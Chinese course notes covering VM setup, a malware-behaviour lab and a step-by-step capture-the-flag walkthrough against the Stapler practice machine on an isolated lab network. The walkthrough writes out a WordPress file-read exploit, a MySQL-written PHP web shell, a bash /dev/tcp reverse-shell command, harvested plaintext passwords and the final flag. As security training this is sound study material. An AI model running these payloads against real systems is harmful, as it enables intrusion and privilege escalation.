配置虚拟机
准备
VMware Workstation ProUbuntu的iso文件——Ubuntu 22.04.5 LTS (Jammy Jellyfish)Windows10的iso文件——下载 Windows 10
安装Ubuntu
- 打开
VMware,选择"Create a New Virtual Machine" - 选择
"Typical"安装 ->next - 在
"Installer disc image file(iso):"处选择下载好的iso文件 ->next - 设置账号以及硬件配置等基本操作
- 开机后进入安装界面
Installl Ubuntu-> 语言:English,键盘:English->Minimal installaation并勾选:- ✔ Download updates while installing
- ✔ Install third-party software
- 安装类型为:
Erase disk and install Ubuntu -
配置代理
settings->Network->Network Proxy->Manual
安装Windows10
- 基本安装
- 打开
VMware,选择"Create a New Virtual Machine" - 选择
"Typical"安装 ->next-> 选择下载好的iso文件 - 设置账号以及硬件配置等基本操作
- 开机后进入安装界面
- 打开
- 配置代理同上
- 安装客机增强件:
VM -> install VMware Tools -> 点击“此电脑”中的盘片 -> 下载相关文件- 右下角显示出
VM Tools即为安装成功
- 共享文件
- 先点击
VMware顶部菜单的VM,选择Settings... - 在弹出的设置窗口中点击
Options选项卡 - 找到并点击
Shared Folders,文件夹的共享状态为Always enabled - 点击下方的
Add添加,不要勾选Read-only - 将共享文件夹映射为网络驱动器
- 打开虚拟机的“此电脑”;
- 在顶部菜单栏找到“映射网络驱动器”
- 将共享文件夹的地址填入其中
- 先点击
- 快照
- 创建快照
- 将虚拟机开机
- 先点击
VMware顶部菜单的VM,选择Snapshot -> take Snapshot - 在弹出的页面中输入快照名称与描述
- 恢复快照
- 在相同的页面点击
Reserve to Snapshot ...即可
- 在相同的页面点击
- 创建快照
- 迁移
注册表
- 打开方式
- 快捷键
Win + R打开运行窗口,输入regedit并在弹出的对话框中选择允许
- 快捷键
- 五个根节点
HKEY_CLASSES_ROOT:存储各类不同文件扩展名对应的默认打开程序HKEY_CURRENT_USER:当前用户的配置数据信息HKEY_LOCAL_MACHINE:硬件、计算机所有用户的配置数据信息HKEY_USERS:计算机默认用户的配置文件和已知用户的配置文件的子项HKEY_CURRENT_CONFIG:当前硬件配置信息
进程行为分析报告
1⃣下载软件
- 在畅课平台中将需要的软件下载并拖到虚拟机中
- 主要包括
homework.zipProcessMonitor.zipProcessExplorer.zip
2⃣实验过程
- 对
zip文件进行解压 - 启动
ProcessMonitor

- 在
Process Monitor中添加过滤条件(CTRL+L),使其只显示homework.exe相关操作记录,条件添加成功后,点击Apply

- 此时我们会看见后面显示为空白,是因为还没有运行
homework.exe程序 - 接下来我们需要运行
.exe程序- 打开
powershell并cd到文件所在目录 -
.\homework.exe 202512063055
- 打开

- 因为已知目标文件为
jpg文件,所以进一步缩小范围CTRL+F进行查找,然后复制文件地址,打开即可得到图片


杀毒作业
实验准备
1⃣先将实验所需的材料下载到虚拟机上
ProcessMonitor7-zip- 火绒剑
- 病毒样本
2⃣先对虚拟机进行一个快照,方便恢复备份

3⃣关闭虚拟机的网络连接,避免恶意程序运行过程中与外部环境继续通信。
同时还需要断开
共享文件夹
共享粘贴板
拖放
实验过程
分析病毒行为
1⃣用Process Monitor分析

- 病毒需要解压并输入密码
"iqiqiya" - 运行病毒后生成一个
0.vbs脚本
- 病毒运行时间太久了,已经无法打开
powershell - 在
Process Monitor中终止进程,试图打开火绒剑但是失败了
2⃣虚拟机关机并恢复到杀毒前
- 先把火绒剑打开并关闭杀毒软件;按刚才操作再操作一遍
- 病毒运行后,找到火绒剑的进程,找到最上面的
malware.exe,右键,“结束进程树”,再等一段时间后就能成功结束病毒 - 结束进程后刷新磁盘空间,可以看到
C盘空间不再继续减少,说明恶意程序的持续写入行为已经被阻止。
程序行为分析
1⃣首先新增过滤条件,观察恶意程序是否生成脚本文件
在过滤结果中可以找到.vbs文件的相关路径
进一步查看单条记录可以看到该文件的具体路径
2⃣接着增加过滤条件来查看程序自身的进程活动
通过过滤结果可以发现,malware.exe会创建大量子进程,这是其恶意行为的重要特征之一
恶意程序的行为:
- 生成 .vbs 脚本文件
- 创建大量子进程
- 持续写入 .dat 文件挤占C盘空间
查杀过程
- 首先删除恶意程序本身
- 随后在
ProcessMonitor中定位到一个.dat文件,右键、Jump To跳转到对应目录并删除该文件夹下所有的.dat文件
- 清理完成后可以看到磁盘空间已恢复到接近实验前的状态,说明本次杀毒工作完成
游乐场

准备
- 先从畅课平台上将文件下载到本地、解压

- 同时也需要准备linux系统,但是之前已经配置过了,这里就不多赘述
导入靶机
- “管理”->“导入虚拟电脑”->选择”Stapler.ovf“,点击下一步
同时需要保证以下三个在同一文件夹下
Stapler.ovf
Stapler.mf
Stapler-disk1.vmdk
给kali添加仅主机网卡
左侧选中
kali-linux-2026.1-virtualbox-amd64
点击上方
设置
进入
网络
配置如下图

启动虚拟机
先启动vm

保持Stapler 开机,再启动kali

查看网卡
ip -br a
查看当前虚拟机有哪些网卡,以及每张网卡拿到了什么地址

eth0:10.0.2.15 → NAT,上网用
eth1:192.168.56.102 → Host-Only,连接靶机用
eth1 的 192.168.56.102 是 Kali 在 Host-Only 网络中的地址,并不是靶机地址。 靶机地址需要通过 arp-scan 和 Nmap 扫描进一步确定。
主机发现
为确定 Stapler 靶机在 Host-Only 虚拟网络中的 IP 地址,在 Kali Linux 中使用 arp-scan 对本地网段进行主机存活探测。
sudo arp-scan -I eth1 --localnet
可以看出
192.168.56.1 :通常是宿主机的 VirtualBox 虚拟网卡
192.168.56.102 :你的 Kali
192.168.56.100 和 192.168.56.101:两台 VirtualBox 虚拟机,其中一台是 Stapler
扫描两个候选 IP 的端口
mkdir -p ~/CTF/Stapler
cd ~/CTF/Stapler
sudo nmap -sC -sV -Pn -oN initial.txt 192.168.56.100 192.168.56.101
检查两台设备开放了哪些服务,从而确定哪台是Stapler 参数含义
-sC 使用 Nmap 默认脚本,收集服务的基本信息
-sV 识别端口上的服务及版本
-Pn 不先检测主机是否响应 Ping,直接扫描
-oN 将扫描结果保存到 initial.txt
Stapler 通常会开放较多端口,例如:
21 FTP
22 SSH
53 DNS
80 HTTP
139 SMB
666 某个特殊服务
3306 MySQL
扫描全部TCP端口
通过刚才的扫描确定
192.168.56.101 = Stapler 靶机
接下来扫描全部端口
sudo nmap -p- -Pn -T4 --min-rate 2000 -oN allports.txt 192.168.56.101
作用:
-p- 扫描 1~65535 的全部 TCP 端口
-Pn 不进行 Ping 判断,直接扫描
-T4 加快扫描速度
--min-rate 2000 每秒至少发送约 2000 个探测包
-oN allports.txt 把结果保存到 allports.txt

可以确认开放了8个TCP端口
21 FTP
22 SSH
53 DNS
80 HTTP
139 SMB
666 未知服务
3306 MySQL
12380 未知服务
识别这些端口上的具体服务
sudo nmap -sC -sV -Pn -p21,22,53,80,139,666,3306,12380 -oN services.txt 192.168.56.101
扫描每个端口运行的是什么软件、什么版本,还有没有可直接发现的信息
从扫描结果可以看出12380 端口运行 Apache Web 服务,下一步优先检查12380的网站
访问12380网站
curl -k -I https://192.168.56.101:12380/
这条命令用于确认网站是否可以通过 HTTPS 正常访问,并查看服务器返回的响应头:
-k 忽略靶机的自签名 HTTPS 证书
-I 只查看响应头,不下载整个网页

查看扫描结果,有一行很可疑:
Dave: Something doesn't look right here
Dave 不是常见的 HTTP 标准响应头,应该是靶机作者留下的提示。
用 Nikto 枚举网站
nikto -h https://192.168.56.101:12380 -output nikto12380.txt
Nikto 会自动检查这个网站是否存在:
- 隐藏目录和后台
- 常见管理页面
- 危险或遗漏的文件
- Web 服务器配置问题
- 暴露的版本和响应头

从中最重要的发现是
/robots.txt: contains 2 entries which should be manually viewed
读取robots.txt
curl -ks https://192.168.56.101:12380/robots.txt | tee robots.txt
参数含义
-k 忽略靶机的自签名 HTTPS 证书
-s 静默运行,不显示下载进度
tee robots.txt 在屏幕显示结果,同时保存到文件

从结果我们看出两个隐藏目录
/admin112233/
/blogblog/
分别访问这两个目录
这是在对 robots.txt 暴露的目录进行人工验证,确认:
- 路径是否真实存在
- 返回状态码是
200、301、403还是404 - 页面运行的是什么程序
- 是否存在登录入口、后台、博客或其他提示
curl -ks -I https://192.168.56.101:12380/admin112233/
curl -ks -I https://192.168.56.101:12380/blogblog/
再用firefox分别打开两个网站
https://192.168.56.101:12380/admin112233/
https://192.168.56.101:12380/blogblog/
确认 WordPress 网站
访问两个目录后发现:
/admin112233/
主要显示提示信息,没有发现可直接利用的功能。 而:
/blogblog/
能够正常打开一个博客网站。 通过查看网页源代码、页面目录结构以及登录地址,可以确认该网站使用的是 WordPress。
curl -ks https://192.168.56.101:12380/blogblog/ | grep -i wordpress
也可以尝试访问 WordPress 的默认登录页面:
https://192.168.56.101:12380/blogblog/wp-login.php
如果能够正常显示登录页面,说明该目录确实运行了 WordPress。

使用 WPScan 枚举 WordPress 用户
使用 WPScan 对 WordPress 用户进行枚举:
wpscan \
--url https://192.168.56.101:12380/blogblog/ \
--disable-tls-checks \
--enumerate u \
-o wpscan-users.txt
参数含义:
--url 指定需要扫描的 WordPress 网站
--disable-tls-checks 忽略靶机自签名证书导致的 TLS 错误
--enumerate u 枚举 WordPress 用户
-o 将扫描结果保存到文件
扫描发现了多个 WordPress 用户,例如:
John
Elly
Peter
barry
heather
garry
harry
scott
kathy
tim
这些用户名可以为后续的身份验证测试和权限分析提供信息。
使用 WPScan 枚举 WordPress 插件
继续使用 WPScan 枚举网站安装的插件:
wpscan \
--url https://192.168.56.101:12380/blogblog/ \
--disable-tls-checks \
--enumerate ap \
--plugins-detection aggressive \
-o wpscan-plugins.txt
参数含义:
--enumerate ap 枚举所有能够发现的插件
--plugins-detection aggressive 使用主动方式检测插件目录
在结果中发现了以下插件:
advanced-video-embed-embed-videos-or-playlists
akismet
shortcode-ui
two-factor
其中比较可疑的是:
Advanced Video Embed - embed videos or playlists
Version 1.0
该版本发布时间较早,因此需要进一步检查是否存在公开漏洞。
使用 SearchSploit 查找插件漏洞
使用 SearchSploit 搜索与该插件有关的公开漏洞:
searchsploit "Advanced Video Embed"
在搜索结果中发现:
WordPress Plugin Advanced Video 1.0
Arbitrary File Download / Unauthenticated Post Creation
Exploit ID: 39646
将漏洞利用脚本复制到当前目录:
searchsploit -m 39646
漏洞编号 39646 对应 Advanced Video Embed 1.0 的任意文件读取问题。插件的 ave_publishPost 功能没有正确限制 thumb 参数,攻击者能够让服务器读取本地文件,并把文件内容保存到 WordPress 上传目录。
修改漏洞利用脚本
查看复制出来的脚本:
nano 39646.py
将脚本中的 WordPress 地址修改为本次靶机地址:
url = "https://192.168.56.101:12380/blogblog"
由于靶机使用自签名 HTTPS 证书,原脚本可能会出现证书验证错误,因此在脚本导入部分加入:
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
漏洞利用的目标文件为:
../wp-config.php
wp-config.php 是 WordPress 的核心配置文件,一般包含数据库名称、数据库用户名、数据库密码以及数据表前缀等敏感信息。
修改完成后保存文件。
利用插件读取 wp-config.php
运行漏洞利用脚本:
python2 39646.py
脚本调用存在漏洞的接口,使插件读取:
../wp-config.php
并将文件内容伪装为图片,保存到 WordPress 的上传目录中。 脚本执行后,根据页面源码或脚本输出找到生成的文件,例如:
1681586976.jpeg
下载该文件:
curl -ks \
https://192.168.56.101:12380/blogblog/wp-content/uploads/1681586976.jpeg \
-o leaked-wp-config.txt
检查文件类型:
file leaked-wp-config.txt
结果为:
PHP script, ASCII text
说明虽然服务器将其命名为 .jpeg,但实际内容是 PHP 配置文件。
查看文件内容:
sed -n '1,160p' leaked-wp-config.txt
分析 wp-config.php
在文件中发现以下数据库配置:
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'plbkac');
define('DB_HOST', 'localhost');
整理后得到:
数据库名称:wordpress
数据库用户:root
数据库密码:plbkac
数据库主机:localhost
数据表前缀:wp_
需要注意,这里的 root 是 MySQL 数据库中的管理员用户,并不等于 Linux 系统的 root 用户。
本步骤说明攻击者通过任意文件读取漏洞获得了数据库凭据,为进一步访问数据库创造了条件。
连接 MySQL 数据库
使用泄露的凭据连接目标主机的 MySQL 服务:
mysql -h 192.168.56.101 -u root -p
输入密码:
plbkac
第一次连接时出现以下错误:
ERROR 2026 (HY000): TLS/SSL error:
SSL is required, but the server does not support it
这是因为 Kali 中的客户端默认尝试使用 SSL,而靶机上的旧版 MySQL 服务不支持该连接方式。 使用以下命令关闭 SSL:
mysql --skip-ssl -h 192.168.56.101 -u root -p
再次输入:
plbkac
成功进入数据库。
查看数据库和 WordPress 数据表
首先查看数据库:
SHOW DATABASES;
结果中存在:
wordpress
进入 WordPress 数据库:
USE wordpress;
查看数据表:
SHOW TABLES;
发现包括:
wp_users
wp_usermeta
wp_posts
wp_options
其中:
wp_users
保存 WordPress 用户账号和密码哈希;
wp_usermeta
保存用户角色和权限等附加信息。
查询 WordPress 用户
执行:
SELECT ID,user_login,user_pass,user_email
FROM wp_users;
查询到 16 个 WordPress 用户。
继续查询各用户的权限:
SELECT user_id,meta_value
FROM wp_usermeta
WHERE meta_key='wp_capabilities';
发现以下用户具有管理员权限:
ID 1 John
ID 3 Peter
ID 15 Vicki
管理员对应的权限信息为:
a:1:{s:13:"administrator";b:1;}
由此确认 John、Peter 和 Vicki 是 WordPress 管理员。
修改 WordPress 管理员密码
由于当前使用的是 MySQL root 用户,因此拥有修改 WordPress 用户数据的权限。 本实验选择修改 John 用户的密码。 先查看原密码哈希:
SELECT ID,user_login,user_pass
FROM wp_users
WHERE user_login='John';
然后将密码修改为:
Stapler2026!
执行:
UPDATE wp_users
SET user_pass=MD5('Stapler2026!')
WHERE user_login='John';
数据库返回:
Rows matched: 1
Changed: 1
说明修改成功。 再次查询:
SELECT ID,user_login,user_pass
FROM wp_users
WHERE user_login='John';
得到新的 MD5 值:
7d21569b0af72dbc84968d42f3fe12c8
退出数据库:
exit;
登录 WordPress 管理后台
访问 WordPress 登录页面:
https://192.168.56.101:12380/blogblog/wp-login.php
输入:
用户名:John
密码:Stapler2026!
成功进入:
WordPress Dashboard
右上角显示:
Howdy, John Smith
说明当前已经获得 WordPress 管理员权限。

尝试上传 WordPress 插件
为了进一步获得服务器命令执行权限,首先尝试通过 WordPress 后台上传自定义插件。 在 Kali 中创建插件目录:
cd ~/CTF/Stapler
mkdir -p lab-shell
nano lab-shell/lab-shell.php
写入用于本地靶场测试的 PHP 插件代码,然后将其压缩:
zip -r lab-shell.zip lab-shell
检查压缩文件:
ls -lh lab-shell.zip
在 WordPress 后台依次进入:
Plugins
→ Add New
→ Upload Plugin
上传:
lab-shell.zip
但是 WordPress 提示需要输入 FTP 凭据:
Connection Information
说明 Web 服务账户对插件目录没有直接写入权限,因此无法通过后台正常安装插件。
随后检查插件编辑器,页面提示:
You need to make this file writable before you can save your changes.
说明现有插件文件同样不可写。 因此放弃插件上传方式,转而利用已经获得的 MySQL root 权限写入 Web 目录。
检查 MySQL 文件读写权限
重新登录数据库:
mysql --skip-ssl -h 192.168.56.101 -u root -p
输入密码:
plbkac
检查 secure_file_priv:
SHOW VARIABLES LIKE 'secure_file_priv';
结果为空:
secure_file_priv |
说明 MySQL 没有限制 INTO OUTFILE 只能写入某个指定目录。
检查当前用户权限:
SHOW GRANTS FOR CURRENT_USER();
结果为:
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION
再确认当前用户:
SELECT CURRENT_USER();
结果为:
root@%
说明当前数据库账户拥有全局权限,并且可以尝试使用文件读写功能。
确认 WordPress 的服务器路径
使用 LOAD_FILE() 读取服务器上的 WordPress 配置文件:
SELECT LENGTH(
LOAD_FILE('/var/www/https/blogblog/wp-config.php')
) AS file_size;
返回:
3042
说明路径:
/var/www/https/blogblog/
确实是 WordPress 网站在靶机上的真实目录。
测试向 Web 目录写入文件
首先写入一个无害的文本文件:
SELECT 'Stapler OK'
INTO OUTFILE
'/var/www/https/blogblog/wp-content/uploads/mysql-test-20260712.txt';
成功后退出数据库:
exit;
在 Kali 中访问该文件:
curl -ks \
https://192.168.56.101:12380/blogblog/wp-content/uploads/mysql-test-20260712.txt
返回:
Stapler OK
说明 MySQL 进程能够向 WordPress 的 Web 目录写入文件,并且写入的文件可以通过网站访问。
写入 PHP 命令执行文件
重新连接 MySQL:
mysql --skip-ssl -h 192.168.56.101 -u root -p
写入一个 PHP 文件:
SELECT '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE
'/var/www/https/blogblog/wp-content/uploads/stapler-cmd-20260712.php';
退出数据库:
exit;
通过 URL 参数执行 id 命令:
curl -ks \
"https://192.168.56.101:12380/blogblog/wp-content/uploads/stapler-cmd-20260712.php?cmd=id"
返回:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
继续执行:
curl -ks \
"https://192.168.56.101:12380/blogblog/wp-content/uploads/stapler-cmd-20260712.php?cmd=whoami"
返回:
www-data
说明已经能够以 Web 服务账户 www-data 的身份在目标主机上执行系统命令。
获得反向 Shell
当前 WebShell 每次只能执行一条命令,使用起来不方便,因此将其转换为反向 Shell。 首先确认 Kali 在 Host-Only 网络中的 IP:
ip -br a
结果为:
eth1 192.168.56.102/24
在 Kali 新终端中开启监听:
nc -lvnp 4444
参数含义:
-l 进入监听模式
-v 显示详细连接信息
-n 不进行域名解析
-p 指定监听端口
在另一个终端中通过 PHP 文件触发反向连接:
curl -ksG \
--data-urlencode \
'cmd=bash -c "bash -i >& /dev/tcp/192.168.56.102/4444 0>&1"' \
'https://192.168.56.101:12380/blogblog/wp-content/uploads/stapler-cmd-20260712.php'
监听终端收到来自:
192.168.56.101
的连接。 验证当前身份:
whoami
id
hostname
pwd
结果为:
www-data
uid=33(www-data) gid=33(www-data)
red.initech
/var/www/https/blogblog/wp-content/uploads
说明已经成功获得 www-data 权限的反向 Shell。
升级为交互式 Shell
刚获得的 Shell 会提示:
bash: no job control in this shell
而且方向键、退格键、su 等功能可能无法正常使用,因此需要升级终端。
检查 Python:
which python python3
目标主机存在:
/usr/bin/python
/usr/bin/python3
使用 Python 创建伪终端:
python -c 'import pty; pty.spawn("/bin/bash")'
设置环境变量:
export TERM=xterm
export SHELL=/bin/bash
按:
Ctrl + Z
暂时将 Netcat 放入后台。 在 Kali 本地执行:
stty raw -echo; fg
按两次回车,然后执行:
reset
只有在系统询问终端类型时才输入:
xterm
最后设置终端尺寸:
stty rows 40 columns 120
验证:
whoami
su --help
此时已经获得较为稳定的交互式终端。
枚举系统用户目录
查看 /home 目录:
ls -la /home
发现目标主机中存在大量系统用户,例如:
peter
JKanode
elly
zoe
www
其中 /home/JKanode 目录能够被当前用户读取。
查看该目录:
ls -la /home/JKanode
发现:
.bash_history
该文件权限允许其他用户读取。
读取 JKanode 的命令历史
执行:
cat /home/JKanode/.bash_history
发现以下命令:
sshpass -p thisimypassword ssh JKanode@localhost
sshpass -p JZQuyIN5 peter@localhost
由此得到两组明文凭据:
JKanode : thisimypassword
peter : JZQuyIN5
产生该问题的原因是管理员在命令中直接使用 sshpass -p 写入密码,完整命令随后被记录到了 .bash_history 文件中。
切换到 JKanode 用户
执行:
su - JKanode
输入密码:
thisimypassword
验证身份:
whoami
id
pwd
结果为:
JKanode
uid=1013(JKanode)
gid=1013(JKanode)
/home/JKanode
说明已经成功从 www-data 横向切换到系统用户 JKanode。
切换到 peter 用户
继续执行:
su - peter
输入:
JZQuyIN5
首次进入 peter 的 Zsh 时,会显示 zsh-newuser-install 配置提示。
输入:
q
或者:
0
退出配置即可。 验证身份:
whoami
id
pwd
结果显示:
uid=1000(peter)
gid=1000(peter)
groups=1000(peter),27(sudo),110(lxd)...
/home/peter
其中最重要的是 peter 属于:
sudo
用户组。
检查 peter 的 sudo 权限
执行:
sudo -l
输入 peter 的密码:
JZQuyIN5
结果为:
User peter may run the following commands on red:
(ALL : ALL) ALL
含义:
peter 可以以任意用户和任意用户组身份执行任意命令。
这属于权限配置过高,意味着 peter 可以直接获取 root 权限。
提升至 root 权限
执行:
sudo -i
输入 peter 的密码后,验证身份:
whoami
id
hostname
pwd
结果为:
root
uid=0(root) gid=0(root) groups=0(root)
red.initech
/root
说明已经成功获得目标主机的最高权限。
读取最终 Flag
查看 root 用户目录:
ls -la /root
发现:
flag.txt
读取文件:
cat /root/flag.txt
得到最终 Flag:
b6b545dc11b7a270f4bad23432190c75162c4a2b
至此完成 Stapler 靶机实验。

完整攻击流程
配置 Host-Only 靶场网络
↓
arp-scan 发现存活主机
↓
Nmap 扫描确认 Stapler 地址和开放端口
↓
Nikto 发现 robots.txt
↓
robots.txt 暴露 /blogblog/
↓
确认 /blogblog/ 为 WordPress
↓
WPScan 发现 Advanced Video Embed 1.0
↓
利用任意文件读取漏洞获取 wp-config.php
↓
获得 MySQL root 数据库密码
↓
查询 WordPress 用户及权限
↓
修改 John 管理员密码
↓
登录 WordPress 管理后台
↓
插件目录不可写,上传插件失败
↓
利用 MySQL INTO OUTFILE 写入 PHP 文件
↓
获得 www-data 命令执行权限
↓
建立反向 Shell
↓
读取 JKanode 的 .bash_history
↓
发现 JKanode 和 peter 的明文密码
↓
切换至 peter
↓
sudo -l 发现 (ALL : ALL) ALL
↓
sudo -i 获取 root
↓
读取 /root/flag.txt
实验结果分析
本实验中,目标主机存在多个相互关联的安全问题:
- WordPress 使用了存在任意文件读取漏洞的旧版插件。
wp-config.php中保存了具有远程登录权限的 MySQL root 凭据。- MySQL root 用户拥有全局权限和文件写入权限。
- MySQL 可以向 Web 目录写入 PHP 文件,导致远程命令执行。
- 用户在命令行中明文使用密码,并被记录在
.bash_history中。 .bash_history文件权限设置不当,允许其他用户读取。- peter 用户拥有不受限制的 sudo 权限。
这些问题单独来看未必都能直接导致主机失陷,但攻击者可以将多个漏洞和错误配置串联起来,最终从未授权访问逐步提升至 root 权限。
实验总结
本实验完成了从信息收集、Web 应用枚举、漏洞利用、数据库访问、远程命令执行、横向移动到本地权限提升的完整过程。
实验首先通过 Nmap、Nikto 和 WPScan 对目标进行信息收集,随后利用 WordPress 插件的任意文件读取漏洞获得数据库配置文件。通过泄露的数据库凭据访问 MySQL,并利用数据库权限修改 WordPress 管理员密码。
由于 WordPress 插件目录不可写,实验进一步利用 MySQL 的 INTO OUTFILE 功能向 Web 目录写入 PHP 文件,获得 www-data 权限的反向 Shell。最后通过读取用户命令历史发现明文密码,切换至拥有完整 sudo 权限的 peter 用户,并使用 sudo -i 成功提升至 root,读取最终 Flag。
随便记记
- 这里主要记录一些小且杂的问题
虚拟机网络排查
- 某次启动虚拟机的时候发现虚拟机没有联网,检查虚拟机设置:
NAT连接方式没有问题、主机网络也没有问题——可以检查是否为**VMware NAT**服务挂掉——在主机上Win + R->services.msc;找到VMware NAT Service与VMware DHCP Service,确保二者“正在运行”